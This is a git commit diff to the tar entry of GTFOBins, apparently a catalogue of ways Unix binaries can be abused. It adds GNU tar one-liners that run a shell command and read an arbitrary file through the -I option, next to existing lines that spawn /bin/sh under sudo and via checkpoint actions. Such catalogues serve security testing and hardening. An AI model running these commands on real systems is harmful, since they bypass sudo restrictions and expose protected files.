Add tar execute-non-interactive and file-read

rmusser01 · Jun 13, 2018 · 0d78694 · 0d78694
1 parent 69465eb
commit 0d78694
Showing 1 changed file with 8 additions and 0 deletions.
diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
@@ -2,6 +2,9 @@
 functions:
   execute-interactive:
     - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
+  execute-non-interactive:
+    - description: This only works for GNU tar.
+      code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
   sudo-enabled:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
@@ -13,4 +16,9 @@ functions:
         TF=$(mktemp)
         echo data > "$TF"
         tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
+  file-read:
+    - description: This only works for GNU tar.
+      code: |
+        LFILE=file_to_read
+        tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
 ---